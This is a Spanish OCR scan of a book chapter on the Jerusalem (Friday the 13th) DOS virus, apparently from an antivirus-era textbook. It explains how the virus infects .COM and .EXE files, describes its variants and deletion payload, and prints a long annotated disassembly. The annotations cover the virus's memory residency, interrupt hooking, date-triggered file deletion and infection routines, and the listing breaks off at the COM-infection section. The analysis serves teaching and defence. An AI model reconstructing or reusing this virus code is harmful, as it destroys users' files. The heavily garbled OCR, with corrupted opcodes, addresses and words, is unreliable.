nes 13, se borra del disco, junto con los archivos de control o
gjecucién —con extensiones OVR, OVL, cte—

Existen muchos programas antivirus para detectar y erra-
dicar este virus, pues se han dado casos de empresas de soft-
ware que distnbuyeron disqueles con programas onginales,
y por un descuido diseminaron el virus entre sus usuarios.
Despuds desarrollaron un antivirus y lo entregaron gratuita-
mente para tratar de remediar et mal, _

Los antivirus de McAfee incluidos en el disquete que
acompaia al libro, 1o reconocen en sus diferentes versiones
como (Jeru] y lo elminan de los programas infectados, pero
es conveniente no volver a utilizar esos programas porque
pueden presentar fallas al ¢jecularlos. ferusalén int'ucl’a !()5 ar-
chivos con extension .COM, introduciéndose en su cadigo, al
principio del programa, siempre y cuando la suma -longitud
del archivo- sea menor o igual a 64 kB, y 1o hace una sola vez.

Alos archivos con extension EXE los puede mfectar tantas
veces como sean las veces quie se ejecuita, hasta que el disco se
llene. En este caso se posiciona al final del cddigo del progra-
ma por medio de un APEND y modifica el punto de entrada
(Starl point) del programa. _

Cuando estd en la memoria de la computadora, se activa
una bomba de tiempo que realiza un corrimiento de una par-
te del texto hacia abajo, lo que produce un efecto v?sual enla
pantalla, como si se abriera una pequena ventanita. Causa
errores de operacion en la computadora y hace lentos los pro-
cesos, y en el momento de estar trabajan_do conalgun progra-
ma infectado puede borrar informacién de la memoria o
“congelar” el sistema. ) _

Infecta los archivos ejeculables, aunque estén protegldos
contra escritura; Les quita el atributo de sdlo lectura, los mfec:
ta y les regresa su atribulo ariginal para que usted no se dé
cuenta de la infeccién. Cuando se cumple que la fecha del sis-
tema coincida con algin viernes 13, se activa una parte del vi-
rus que va borrando cualquier programa o archive que se
ejecute, incluso los de extension .OVL, OVR, clL:_ )

La figura 5.20 muvstra ¢l programa MAPMEM.EXE saio
con una longitud de 14 336 byles, y ¢l mismo programa —cam-
biando la exlensién— con una, cnco y diez infecciones. Ob-
serve que por cada infeccién aumenté 1 808 bytes, excepto la
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Figura 5.20
Lista de archlvos
que presenia
@-DOS 3,
mostrando la
diterencla entre
un programa
sono, ¥y el mlsmo
COn ung
infeccldn, cinco
veces infectado,
y con diez, del
virus Jerusalén.

NATAS y otros virus

primera que o hizo con 1792, de tal manera que el archivo
que se infecta diez veces mude

14 336+1 792+(9*1 808) =14 336+1792+16 272
= 32 400 bytes

También se comprobd que este vivis del vienies 13 puede
mfectar un archivo protegido con atributo de séfo lectina, v o
vuelve a "proteyer” para que ustod no se dé cuenta de que ha
sido muditicade Poriltimo, se cambid fa fecha de la compu-
tadora infectada a 13 de mayo de 1993 —viernes-, v al vjecutar
los programas, eniugar de cargarlos a la memoria los boriaba
sistemadticamente,

Directory Tag View' Space [ind Print
Changje the current display fornat

Fi- Help
F3- Chy Drive ° F4- Preu Dir
¥5- Chy Dir - Fo- DS Ced
.7~ Srch Spec * FB- Sort .
F3- Edit F10- Quit’
- SPACE BAR- Tag file

ESC- Abori Copmand ~

" §-00S 1 Version 1.0
GAZELLE SYSTENS (C) 1991

Sep 09, 1994 4:54:31 pn’)

Las modilicaciones que se canocen de este virus son: feri-
salem-B, que es la version modificada con control deinfeccio-
nes, y Jerusalem-C o New ferusalem, que es la misma, pero
omite el codigo de retraso del crondmetro, por lo que es muy
dificil de detectar hasta que se achiva. Black Hole, que es la
misma version que ferisalen-C, pero conunas 21 Hamadas de
interrupciones que parecen ne tener sentido, asi como un
mensaje que dice mitivius.

Jerusalen-13 y Jernsalen-£ son modificaciones a los anterio-
res para destruir la tabla de asignacion de archivos en vez de
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borrar los programas. La primera versién se activa en cual-
quier viernes 13 después de 1990, y 1a segunda hasta 1992, en
la misma fecha. Por ultimo, Century y Century-8 son las mo-
dificaciones mas recientes, la primera de las cuales se activa-
ra el 1o, de enero del ano 2000, borrando las tablas de

"asignacion de archivos de todas las unidades conectadas, lle-

nando de ceros los sectores de los discos enlazados al siste-
ma, y poniendo al final en la pantalla el mensaje Bienvenidos
al siglo 21,

Listado desensamblado del virus de Jerusalén

Al realizar ¢l desensamblaje del programa con Debug, se
pudo notar que fue desarrollado por un programador profe-
sional con bastante experiencia en programacién y lenguaje
ensamblador. El cadigo, aunque no tan “elegmrte”™ como el del
virus de Paquustdn, ha pernmubtido a otros programadores reali-
zar cambios, incluir o cancelar rutinas como la bomba de tiem-
po en el caso de esta version o la version B que controla la
cantidad de infecciones a un mismo programa.

Amasatanddadaahardadksdaanaihieadib R RNARN ARk

Principio del archivo infectado con el virus de Jerusalén

0FB2:0100 E99200

L mmsmndAbaadradrRddamastidadba i A AAt FRA L TaaNd

hasamsakdapbbidaad kbR REr R b rann

* Seccion de variables dal virus *

assmabk AR hdan A bR a A kA Rk

0FB2:0103 7355
0FB2.01054D
OFB2:0106 7344
0FB2.0108 6F
0FB2.0108 7300
0FB2:010B 01FB
GFB2.010D OE
0FB82.010E 0000
0FB2:0110 005518
0FB2 0113 A5
0FB82:0114 FEOD
0FB2.0116 FO
OFB2:0117 60
0F82 0118 142F
0FB2.011A 025605
0FB2.011D D30A

JMP 0185 Salto al comienzo del virus.
JNB 015A

DEC 8P

JNB 014C

DB 6F

JNB 0108

ADD Bx,Di

PUSH Cs

ADD [BX+51] AL

ADD [D1+19],0L

MOVSW

INC BYTE PTR [BX+51] -
LOCK

DB 60

ADC AL,2F

ADD DL,|BP+09)

ROR WORD PTR [BP+Si] CL
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0FBZ:011F 80 NOP
0FB2:0120 7E00 JLE 0122
OFB2.0122 0000 ADD  [BX+SIJAL
(FB2:0124 0000 ADD [BX+51] AL
0FB2:0126 0000 ADD [BX+SI],AL
0FB2:0128 0000 ADD {BX+51],AL
OFB2:012A 0000 ADD  [BX+SIJAL
0FB2-012C 0000 ADD  [BX+SIJAL
0FB2:012E 0000 ADD  [BX+SIJAL
0FB2:0130 COB60B80 ADD |BP+8008]),DH
OFB2:0134 0000 ADD  [BX+SIJAL
(FB2:0136 00800086 ADD [BX+S5!+B6OC] AL
0FB2.013A 0BSCO0 OR BX,[51+00]
0FB2.013D B60B MOV . DH,0B
0FB2:013F 6C DB 6C
0FB2-0140 00B60BG4 ADD [BP+6408] ,DH
0rB2.0144 00C6 ADD DH,AL
0FB2:0146 0BOOD OR AX,[BX+S1)
0FB2:0148 0038 ADD [BX+51),BH
0FB2.014A 0CO0 OR AL,0C
0FB2.014C FO LOCK
0FB2-014D 46 INC Sl
OFB2 014E 0D4D5A ADD [DI+54),CL
0FB2:0151 60 DB 60
0FB2:0152 0012 ADD [BP+5!),DL
0FB2:0154 001F ADD |BX].BL
0FB2:0156 0020 ADD [BX+S1],AH
0FB2 0158 0001 ADD [BX+DI] AL
0FB2'015A 00FF ADD BH,BH
0FB2:015C FF950110 CALL (DI+1001]
0FB2-:0160 07 POP ES
OFB2:0161 8418 TEST  BL,[BX+Di]
0FB2.0163 CS00 LDS AX,[BX+S]
0FB2'0165 95 XCHG BPAX
0FB2.0166 0120 ADD [BX+Sl},5P
0FB2:0168 0000 ADD [BX+51] AL
OFB2:016A O0OES ADD ALCH
0FB2.016C EE ouT DX.AL
OFB2 0160 FFRAC3 CALL FAR [BP+S51-30)
0FB2-:0170 050020 ADD AX,2000
0FB2-0173 0B5F13 ADD  [BX+13]BL
0FB2.0176 06 PUSH ES
OFB2 0177 820002 ADD BYTE PTR [BX+51),02
OFB2 (117A 1000 ADC [BX+SI] AL
0FB2.017C 50 PUSH AX
0FB2:017D 1800 Ses AX,[BX+S1]
0FB2-017F 0009 ADD CL,BL
0FB2 0181 41 INC Cx

£B2 0182 28
gFBZ,0183 8
pFE2 0184 43
OFB2 0185 4F
0Fg2.0186 4D
gFB2.0187 40
QFg2.0188 41
0FB2 0189 4E
OFB2:018A 44
0FB2.0188 2E
0FB2 018C 43
0F2 0180 4F
0FB2.018E 4D
oFB2 018F 0100
QFB2 01910000
0FB2.0193 0000

* Pnincipio def virus *

Y LR R

0FE2.0195 FC

OFB2 0196 BAED
0FB2 0198 CO21
OFB2 019A BOFCED
QOF82.019D 7316
0FB2 019F 80FCO3
OFB2-01A2 7211
OFB2 01A4 BADD
0FB2:01A6 BFOQO1
0FB2.01A9 BE1007
OFB2 01AC 03F7
O0FB2 01AE 2E
O0FBZ:01AF 8B8D1100
OFB2:0183 CD21

i Dok
5.1 Virus Infectores del sector de ananque ;‘J ]_5‘:;}3.;
g
Db [
DB
0B T
0B o
0B ™
DB L
0B ‘A
DB N
DB 1’2
DB
0B T
DB o
0B L
ADD [BX+51] AX
ADD [BX+SI] AL

ADD [BX+S1] AL

P LR R LA L L L D

* Seccign de instalacion *

irtmsabéeMsdaaantanddasnadndaanpana

0FB2 0185 8CC8
0FB2-01B7 051000
0FB2-01BA BEDD
OFB2-01BC BCOOO7
OFB2.01BF 50 PUSH
0FB2:01C0 BBCS00
0FB2.01C3 50

0rg2 01C4 CB

CLD
MOV AHEOD
INT 21
CMP AH EO0
JNB 01B5
CMP AH.03
JB 0185
MoV AH.0D
MoV D1,0100
MOV §1,0710
ADD S|,0l
CS:
MOV CX,[DI1+0011)
INT 21
MOV AX,CS
ADD AX,0010
MoV 5S5.AX
MoV SP.0700
AX
MoV AX,00C5
PUSH  AX
RETF

Verifica si &l virus estd en la memoria.
Si no esl4, salla a la seccion de
Instafacion.

Si esta, recorse el programa de carga
ariginal para ejecutarlo en forma normal.

Protege al virus en fa pila.
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NATAS y otros virus

0FB2 01CS FC CLD

0FB2.01C6 06 PUSH  ES

grazmcr oF cs

FB2 0iC8 8C063100 MO
ngz.mcc 2 quv 0031 £

FB2 01CD BCOGIY00 MOV
3?2:0101 oE Cs0 (003915

B2 01D2 8C063000 MOV
graz 0106 2E qu 1003D]£8

FB2 0107 8C064100 MOV
gigg g 1 DB 8CCO MOV L?(Uéél'Es

010D 051000 A )

g;ae 01E0 2E cg-D AX.0010

B2 O1E1 01064900 ADI
giaz 01E5 2€ ch (004SIAX

B2.01E6 01064500 AD
8%2.81 EA BAEQ Mo?z L(:{U*ég]ﬁx

2:01EC CD21 ' i
oo etz rCI\II';P i:-l o Verilica si_ya esld instalado. Sinolo
OFao 01FT aors g 0266 estd, continda con la intalacidn
OFB2 01F3 80FCO3 CMP  AH03
OFB2 01F6 07 POP  ES
gFBz.mF? 9E cs
FB2 01F8 8E164500 )
graz 01FC 2E Ensqv 5500043}
FB2-01FD 88264300 MO
grsaozm oE quv Shl0043]
FB2 0202 FF2E4700 JMP i
OFBa-0208 mac YOR ;?(Rggm 7] Ejecuta el programa onginal.
OFB2 0208 BECO MOV ESAX
g;az.ozm 26 ES. '
B2 0208 A1FCO3 '

SEBZiOZOE 2E Eng v Ao
82.020F A34B00 M

g}fazuziz 26 ESQV (00431 AX
B20213 AOFEO3 MO

8E52:021s 9E cs?v ALI03FE]

B2 0217 A24D00
gﬁaz.oz 1A 26 éﬂsov (004D AL

B2 0218 C706FCO3F
3?270221 3 03F3A5 Ensqv WORD PTR [03FC].A5F3

B2.0222 CAOGFEO3CB MO

0FB2+0227 58 ngy BYTEAF;cTR 103FELCB
0FB2 0228 051000 ADD  AX,0010
DFB2'022B BECO MOV ESAX
0FB2.0220 OE PUSH CS

OFB2.022E 1F POP DS

OFB2 022F 891007 MOV, €X,0710

g2 1232 D1ES

oFg2 0234 33F6

oFB2 0235 8BFE
0FB2.0238 06
0£B2 0239 884201
oFg2 023C 50
orB2-023D EAFC30000
0FB2 0242 8CCB
QFB2 0244 BEDD
0F82 0246 BC0007
0F62 0249 33CD
QFBZ 0248 BEDB
OFB2 024D 2E
0FB2 024E A14B00
0FB2 0251 A3FCO3
0Fg2 0254 2E
0FB2 0255 AD4D00
0FB2.0258 A2FED3
0FB2 0258 8BOC
0FB2 0250 B104
gFB2 025F DIEB
0FB2'0261 83C310
0FB2 0264 2€
0FB2 0265 831£3300
OFB2.0269 B44A
OFB2 0268 2E
OFB2 026C BE063100
OFB2 0270 CD21
OFB2 0272 BB2135
0F82 0275 CD21
0FB2 6277 2E
OFB2.0278 B1E1700
OFB2 027C 2E
0FB2 027D 8C061900
OFB2 0281 OF PUSH
OFBZ 0282 1F POP
OFB2 0283 BA5B02
OFB2 0286 B2125
0F82.0289 CD21
OFB2 0288 BEDE3100
OFB2 028F 26
0FB2.0290 8E062C00
OFB2.0294 33FF
OFB2 0296 BFFTF
0FB2 0299 32C0
QF82.0298 F2
OFB2-029C AE
OFB2 029D 26

5.1 Viwus Infectores del sector ge Qrranque

SHR
XOR
MOV
PUSH
MOV

© PUSH

JMP
MOV
MOV
MOV
¥0R
MOV
cs:
MOV
MO
(3
MoV
MoV
MOV
MOV
SHR
ADD
CS.
MOV
MO
CS:
MOV
INT
MoV
INT
Ccs
MOV
Cs:
MOV
cs
DS
MoV
MOV
INT
MOV
ES;
MoV
XOR
MOV
XOR
REPNZ
SCASB
ES

CX1
S,
01,51

ES
AX.0142

AX
0000.03FC
AX.CS
SSAX
SP.0700
AXAX

DS AX

AX,|004B)
(03FC} AX

AL,[004D)]
[03FE} AL
BX.SP
cL,04
BX.CL
BX,+10

(0033],BX
AHAA

ES,[0031]
1

2
AX.3521
21

[0017},BX
[0019),ES
DX,0258
AX.2521
21
ES,[0031]
£S,[002€C)
DI.Di

CX,7FFF
ALAL

Copia el virus en |a memoria para
protegerlo.

Protege 1a nueva copiaen la pila

Protege bajo MS-DOS la memoria
pcupada por el virus

Guarda el vector original de la
interrupcién que ocupard el virus

instala la parte activa del virus.

Limpia el espacio de memoria para
gjecutar el programa de carga onginal.

7



ns NATAS y otros virus

OFB2:029E 3805 CMP [DI] AL
OFB2:02A0 EDF9 LOOPNZ 0298
0FB2:02A2 8BD7 MoV DX,0l
0FB2:02A4 B83C203 ADD DX,+03
0FB2:02A7 B8004B MoV AX 4800
OFB2 02AA 06 PUSH ES
0FB2 02AB 1F POP DS
OFB2:02AC OF PUSH CS
0FB2:02AD 07 POP ES
0FB2:02AE BB3500 Mov BX,0035

- 0FB2.02B1 1 PUSH DS
0FB2.02B2 06 PUSH ES
0FB2.02B3 50 PUSH  AX
OFB2-02B4 53 PUSH  BX
0FB2:02B5 51 PUSH CX
OFBZ:02B6 52 PUSH DX
OFB2:02B7 B42A MoV AH,2A
0FB2:02B3 CD21 INT 21 Obtiens la facha del sistema.
OFB2:028B 2E CS;
0FB2.028C C6060E0000 MOV BYTE PTR [000E],00
0FB2:02C1 B1FIC307 CmP CX,07C3 Sias 1987 se desactiva el virus.
0FB2:02C5 7430 JZ 02F7
0FB2:02C7 3C05 CMP AL,05 Si no es viemes se comporta normal.
0FB2:02C9 7500 JNZ 0208
0rB2:02CB 80FAQD CMP DL,0D Sinoes 13 se comporta normal.
0FB2 02CE 7508 JNZ 0208
OFB2:0200 2E CS:
0FB2:02D1 FEQS0ECO INC BYTE PTR [000E] Si es viernes 13 pone la bandera para
0FB2:0205 EB20 JmpP 02F7 borrar,
0FR2:02D7 90 NOP
0FB2:02D8 BB0435 MoV AX,3508
0FB2;0208 CD1 INT - 21
0FB2:020D 2E Cs:
OFB2:02DE 891E1300 MoV [0013],BX
0FB2:02E2 2E CS:
OFB2:02E3 BCO61500 MoV {0015] ES
OFB2:02E7 OE PUSH CS
0FB2.02E8 1F PoP DS
OFB2:02e2 C7061F00S07E MOV  WORD PTR [001F),7£90
OFB2.02EF BBOB25 Mov AX,2508
0FB2:02F2 BA1EO2 MoV DX,021E
0FB2.02F5 CD21 INT 21
0FB2:02F7 5A POP DX
0FB2.02F8 59 POP cX
OFB2.02F9 5B POP BX
OFB2:02FA 58 POP AX
0FB2:02FB 07 POP ES
OFB2:02FC 1F POP DS

a7

0FB2 02FD 9C
OFB2:02FE 2E
OFB2.02FF FF1E1700
0FB2:0303 1E
(OFB2:0304 07
0FB2:0305 B449
0FB2:0307 CD21
(0FB2:0309 8440
0FB2-030B CD21
0FB2.030D B431
0FB2:030F BADOOG
0FB2:0312 B104
OFB2:0314 D3EA
0FB2.0316 83C210
0FB2-0319 CD21
0FB2:0318 32C0
0FB2.031D CF

ISR L LT R R RN RN L

* Bomba de tiempo *

Amdaaaasr Rt AAERAAR

QFB2:031E 2E CS:
OFB2'031F 2E CS:
0FB2:0320 FF2E1300
OFB2:0324 7517
0FB2:0326 50
0FB2:0327 53
0FB2:0328 51
0FB2.0329 52 PUSH
0FB2:032A 55 PUSH
0FB2:032B B80206 MOV
OFB2:032E B787
0fB2.0330 B30505
0FB2:0333 BA1010
0FB2.0336 CD10
0FB2:0338 5D
0FB2:0339 5A
OFB2:033A 58
0FB2:0338 5B
0FB2:033C 58
0FB2:033D 2E
(FB2.033E FFOE1FOD
OFB2:0342 7512
0FB2:.0344 2E
0FB2:0345 C7061F000100
0FB2:0348 50

5.1 Virus Infectores del sector de amanque |

PUSHF
Cs:
CALL
PUSH
POP
MoV
INT
MoV
INT
MoV
MoV
MoV
SHR
ADD
INT
XOR
IRET

JMP
JINZ
PUSH
PUSH
PUSH
DX
BP
AX,0602
MOV
MOV
MOV
INT
POP
POP
POP
POP
POP
Cs:
DEC
JNZ
CS:
MoV
PUSH

i

FAR [G017] Ejecuta el programa original.

21 Restos de la versidn anterior.

FAR [0013] Ejecutaia rufina original En otras
033D varsiones esta seccidn astaba activa y
AX causaba errores de ejecucidn.

BX

cX

BH,B87
CX.0505
DX, 1010
10

BP

DX

CX

BX

AX

Mueve parte de la pantalla, abre la
ventana que va desde (5, 5) a (16,16).

WORD PTR [001F] Sison menos de 30 minutos ia bomba
0356 no seejecuta.

WORD PTR [001F],0001
AX

———

L —————— e e -



120 NATAS vy otros virus
OFB2.034C 51 PUSH
(FB2.0340 56 PUSH
0FB2 034E B90140 MOV
OFB2.0351 F3 REPZ
OFB2.0352 AC LODSB
OFB2-0353 5E POP
0FB2 0354 59 POP
QFB2.0355 56 POP
OFB2:0356 2E CS
OFB2 0357 FF2E1300 JMP
* Seccién acliva del wrus *
0FB2:0358 3C PUSHF
0FB2 035C 80FCED CMP
OFB2 D35F 7505 JNZ
0FB2.0361 B80003 MOV
0FB2 0364 9D POPF
QFB2 0365 CF {RET
0FB2 0366 8OFCDD cmMP
0FB2 0369 7413 JZ
OFB2.036B BOFCDE CMmP
0FB2 036E 7428 JZ
0FB2 0370 300048 CMP
(OFB2.0373 7503 JNZ
0FB2:0375 E9B400 JMP
0FB2 03783D POPF
0FB2.0379 2 cs:
QFB2:037A FF2E1700 JMP
0FB2.037E 58 POP
0FB2 037F 58 POP
0FB2+0380 BBOOO1 MOV
0FB2.0383 2E CS.
0FB2.0384 A30A00 MOV
OFB2-0387 58 POP
OFB2 0388 2E Cs:
0FB2.0389 A30CO0 MOV
0FB2.038CF3 REPZ
OFB2.0380 A4 MOVSB
OFB2:038E 9D POPF
OFB2,038F 2E CS.
0FB2.0390 A10FO0 mMQv
0FB2 0393 2E Cs.
OFB2:0394 FF2EQADD JMP
™

CX
sl
Cx.4001

Sl
CX
AX

FAR {0013

AH,EOQ
0366
AX,0300

AH,DD
037E
AH,OE
0398
AX,4800
0378
042C

FAR [0017)
AX

AX
AX,0100

[000A) AX
AX

(000C).AX

AX,[000F]
FAR [000A]

Causa errores en la maquina

Termina fa bomba.

Verilica si lo estan Iratando de
identificar

Verifica si se va a ejecutar un programa
ya infectado.

Verifica si se estd tratando de ejecutar
un programa

Se ejecuta el comando normal.

Se recorre el programa de carga oniginal.

Se ejecuta el programa de ¢arga original.

PR T

5.1 Virus iInfectores del sector de aranque

YN TR L]

Restos de otras versiones *

*
apaEnmSsasasendn T EEE LT

OFB2.0398 83C406
0FB2 0398 90

0FB2 G39C 8CC8
OFB2 039E 8ECO
QFB2 03A0 BC1007
0FB2 03A3 06

0FB2 03A4 06
0FB2.03A5 33FF
0FB2:03A7 OF

OFB2 03A8 07

OFB2 03A5 831000
0FB2 03AC BBF3
0FB2 03AE BF2100
OFB2 03B1F3

0FB2 0362 A4

OFB2 D3B3 8CD8
0FB2 03B5 8ECO
0FB2 03B7 2E

OFB2 03B8 F7267A00
QFB2.03BC 2E

OFB2 038D 03062B00
0FB2-03C1 830200
0FB2 03C4 2E

0FB2 03C5 F7367A00
(FB2 03C9 8ED8
0FB2 03CB 8BF2
0FB2 03CD 8BFA
0FB2.03CF BCCH
0FB2 03D1 2E

OFB2 0302 BB1E2F00
0FB2 03D6 0BDB
0FB2:0308 7413
0FB2:030A BS0080
0FB2.030D F3

0FB2 03DE A5

(FB2 03DF 050010
0FB2.03E2 81C50010
0FB2 03E6 BEDS
0rB2,03E8 BECH
OFB2:03EA 4B
OFB2:03EB 75ED
OFB2.03ED 2E
OFB2:03EE 8BOE2000
0FB2:03F2 F3

ADD
POPF
MoV
MOV
MOV
PUSH
PUSH
X0OR
PUSH
POP
MOV
MOV
MOV
REPZ
MOVSB
MOV
MOV
Cs:
MUL
CS.
ADD
ADC
cs
oIv
MOV
MOV
MOV
MoV
CS:
MOV
OR
JZ
MOv
REPZ
MOVSW
ADD
ADD
MOV
MOV
DEC
JNZ
cs
MOV
REPZ

SP+06

AX,CS
S5,AX
SE.O710
ES

ES

1Dl

Cs

ES
CX,0010
S1,BX
D1,0021

AX D5
ESAX

WORD PTR [0074]

AX,[0028)
DX,+00

WORD PTR [007A]
DS.AX
S1,0X
D!1,DX
BPES

BX,[002F]
BX.BX
03ED
CX.8000

AX, 1000
BP.1000
D5 AX
ES,BP
BX
030A

CX,[002D}

121
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OFBZ:03F3 A4
0FB2:03F4 58
GFB2'03F5 50
GFB2:03F6 051000
0FB2 Q3FS 2E
(QFB2.03FA 01062900
OFB2.03FE 2E
OFB2:03FF 01062500
OFB2 0403 2€
0FB2:0404 A12100
OFB2:0407 tF
0FB82:0408 07
OFB2 0409 2€
OFB2.040A BE162300
OFB2:040E 2E
OFB2-040F 88262700
0FB2.0413 2E
OFB2:0414 FF2E2300

LR RN NN R Py

“ Ruhna BORRA *

0FB2:0418 33C9
OFB2Z.041A BBO143
0F82.041D CD21
OFB2.041F B441
0FB2.0421 CD21
0FB2:0423 BBOO4B
0FB2.0426 9D
0FB2:0427 2E
0FB2:0428 FF2E1700

NATAS y otros virus

MOVSB
POP
PUSH
ADD
CS:
ADD
CSs:
ADD
CS:
MOV
POP
POP
CS:
MOV
Cs:
MOV
Cs:
JMP

XOR
Mav
INT
MoV
INT
MOV
POPF
CS:
JMP

AX
AX
AX,0010
[0029) AX
[0025).AX
AX,[0021)
DS

ES
§8,[0029]
SP.[0027)
FAR [0023]

CX.CX

AX,4301 Cambia los atributos del programa a
21 ejecutarse,

AH 41 Barra el archiva que se ejecute en ese
21 momento.

AX,4B00

FAR [0017]

o L L P

* Nusva funcidn $48 del sistema operativo *

e T R I

0FB2:042C 28

0FB2.042D 803EOE0D01

0FB2:0432 74E4
0FB2:0434 2£

0FB2.0435 C7067000FFFF

OFB2.043B 2E

OFB2-043C C7068F200000

0FB2:0442 2E
OFB2:0443 89168000

- Q@

Cs:
CMP
JZ
cs:
MOV
cs:
MoV
CS:
MoV

Verifica si esta activada ia bandera
de borrar,

BYTE PTR [000E),01
0418

WORD PTR [0070],FFFF
WORD PTR [008F],0000

[0080],0X

(FB2.0447 2E
0FB82:0448 BC1EE200
0FB2:044C 50
OFB2 044D 53
OFB2.044E 51
0FB2 044F 52
0FB2.0450 56
0FB2:0451 57
0FB2:0452 1E
0FB2 0453 06
QFB2.0454 FC
OF82 0435 BBFA
0FB2.0457 3202
0FB2 0459 B07D013A
OFB2-045D 7505
OFB2 D45F 8A15
OFB2.0461 BOE21F
0FB2:D464 8436
0FB2:0466 CD21
(QFB2.0468 3DFFFF
OFB2:0468 7503
0FB2 046D E97702
OFB2:0470 F7ED
0FB2:0472 F7E1
0FB2.0474 0BD2
0FB2:0476 7505
OF82.0478 301007
QFBZ;0478B 72F0
0FB2.047D 2E
(OFB2:047E 88168000
0FB2.0482 1E
0FB2:0483 07
OFB2:0484 32C0
0FB2:0486 B94100
0FB2:0489 F2
OFB2:048A AE
0FB2:0488 2E
0FB2:048C 88368000
OFR2.0490 8A04
0FB2.0492 0ACO
0FB2:0494 740E
0FB2.04396 3C61
OFB2.0498 7207
OFB2 049A 3C7A
OFB2:049C 7703
OFB2.049E 802C20
OFB2.04A1 46 INC
(Fp2:04A2 EBEC

5.1 Virus Intectores del sector de arranque

CS:
MOV (0082].DS
PUSH  AX
PUSH BX
PUSH ©CX
PUSH DX
PUSH  SI
PUSH Di
PUSH OS
PUSH  ES
CLD
Mov pl,DX
XOR bL,DL
CMmP BYTE PTR [DI+01],3A
JNZ 0464
MOV DL[DY]
AND DLIF
MOV AH,36
INT 21
CMP AX FFFF Venilica si la unidad de discos estd lsta.
JNZ 0470
JMP 06E7 Unidad de disco errdnea.
MuL BX
MUL CX
OR DX, DX
JNZ 047D
CMP AX.0710 Verifica si existe espacio en disco para
JB 046D el virus.
Cs:
MoV DX,[0080]
PUSH DS
POP ES
XOR ALAL
MoV CX,0041
REPNZ
SCASB
CS:
MoV S1,0080] Obtiene &l nombre del programa que se
MOV AL,[SI) vaaejecutar,
OR ALAL
JZ 04A4
CMP ALG1
JB 04A1
CMP AL TA
JA 04A1
SuB BYTE PTR [SI],20
]|
JMP 0490
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0FB2 04A4 BSOBOO
OFB2 04A7 2BF1
0FB2 D4A3 BFB400
0FB2:04AC OE
0FB2.04AD 07
OFB2 D4AE BI0BOO
OFB2.04B1 F3

0FB2 04B2 AB

0FB2 04B3 7503
0FB2.04B5 E92F02
0FB2 04B8 BB0043
0FB2:04BB €D21
OFB2 04BD 7205-
OFB2 04BF 2E

OFB2 04C0 890E7200
0FB2 04C4 7225
0FB2:04C6 32C0
0FB2:04C8 2E

0FB2 04C8 A24E0D
GFB2:04CC 1E
0FB2 04CD 07
0FB2 04CE 8BFA
0FB2 0400 B34 100
0FB2.04D3 F2
OFB2'04D4 AE
OFB2.04D5 BOTDFE4D
0FB2 0409 7408
0FB2.04DB BO7DFEED
OFB2:04DF 7405
OFB2 04E1 2E

(OFB2 04E2 FEOB4EDD
OFB2 04E6 BBOO3D
0FB2.04€9 CD21
0FB2 DAEB 7254
0FB2.04ED 2E
OFB2 04EE A37000
OFB2:04F1 8BD8
OFB2 04F3 B80242
OFB2.04F6 BIFFFF
OFB2:04F9 BAFBFF
0FB2 04FC CD21
OFB2 O4FE 72EB
0FB2 0500 050500
OFB2.0503 2k
0FB2.0504 A31100
0FB2 0507 BI0500
DFB2 050A BAGBOD
0FB2 050D 8CC8

L
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MOV
SuB
MOV
PUSH
POP
MOV
REPZ
CMPSB
JNZ
JMP
MOV
INT
JB
CS:
Moy
JB
XOR
cs:
MoV
PUSH
POP
MoV
MOV
REPNZ
SCASB
CMP
JZ
CMP
JZ
Cs
INC
MoV
INT
JB
CS:
MOV
MOV
MOV
MOV
MoV
INT
JB
ADD
CS:
MOV
MOV
MOV
Maov

CX,0008
S1,CX
D1,0084
cs

ES
CX,0008

04B3
06E7
AX,4300
21

04C4

[0072),CX
D4EB
ALAL

[004E] AL
0S

ES

DI.DX
CX,0041

Verifica que no sea el COMMAND.COM.

Lee los atnbutes del programa que se va
aejecutar

BYTE PTR [DI-02] 4D Sz extension det programa

04EB

termina en ‘'m'e 'M’, infecta una

BYTE PTR [DI-02),60 sola vez.

D4EG

BYTE PTR [004E]
AX,3000

21

0547

(0070]AX
BX,AX

AX 4202
CX FFFF
DX FFFB
21

04EB
AX,0005

f0011],AX
CX.0005
DX.006B
AX,CS

Busca el comienzo del programa.

OF82 050F BEDS
0FB2.0511 8ECO
QFB2 0513 B43F
0F82 0515 CD21
0FR2:0517 8BFA
CFB2.0519 BEOSOD -
0FB2 051C F3
CFB2.051D A6

GFB2 051E 7507
0FB2.0520 B43E
0FB2 0522 CD21
0FB2 0524 E9CO01
0FB2-0527 B2435
0FB2 052A CD21
(QFB2.052C'891E1B00
DFB2:0530 BCO61D00
0FB2 0534 BA1B02
0FB2 0537 B82425
OFB2.053A CD21
0FB2 053C 5168009
0FB2 0540 33CS
0FB2'0542 B80O143
(FB2.0545 CD21
0FB82'0547 7238
OFB2 0549 2E
0FR2'054A 8B1E7000
0rB2 054E B43E
0FB2:0550 CD21
0FB2.0552 2E

0FB2.0553 G7067000FFFF

OFB2 0559 B§023D
0FB2.055C CD21
0FB2'055E 7224
OFB2.0560 2E
OFB2-0561 A37000
0FB2-0564 8CCS
0FB2'0566 BEDS
0FB2 0568 8ECO
OFB2-056A 8B1E£7000
0FB2:056E BBOOS57
0re2 0571 CD21
0FB2 0573 89167400
OFB2.0577 B90E7600
(FB2 0578 BBN042
OFB2.057E 33C9
(FB2 0580 8BD1
0FB2 0582 CD21
0FB2 0584 7230
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MOV
MOV
Mov
INT
MOV
MOV
REPZ
CMPSB
JNZ
MOV
INT
Jup
MOV
INT
MOV
MOV
MOV
MOV
INT
LDS
XOR
MOV
INT
JB
CS.
MoV
MOV
INT
CS:
MOV
MOV
INT
JB
CS;
MOV
MQov
MOV
MOV
Mov
MOV
INT
MOV
MOV
MoV
XOR
MOV
INT
JB

DS AX
ES.AX
AH 3F
21
D1,DX
51,0005

0527

AH 3E

21

06E7
AX,3524
21
[001B],BX
[001D} £S
DX,021B
AX,2524
21
DX,{0080)
CX.CX

AX 4301
21

0584

BX,[0070]
AH,3E
21
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Leg las pnmeras 5 caracteres

Venfica s1es un programa * COM va
infectado.

Modifica el manejador de errores
criticos.

Prepara el programa para modificarlo.

WORD PTR [0070] FFFF

AX,3002
21
0584

[0070],A%
AX.CS
DS.AX
ES.AX
BX,[0070]
AX,5700
21
(0074} DX
[0076].CX
AX,4200
CX,CX
DX.CX

21

05C3

Abre el archivo para escribrr,

Obtiene I1a fecha en que fue hecho el
programa a infectar

Se posiciona al principio del archivo
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OFB2 0586 BO3E4EQDQQ CMP
0FB2.058B 7403 JZ
0FB2 0580 EBS7 JMP

SasanddbadanpanannananinnRAte

* Infeccidn en programas COM *

LR N N Y P Y I ]

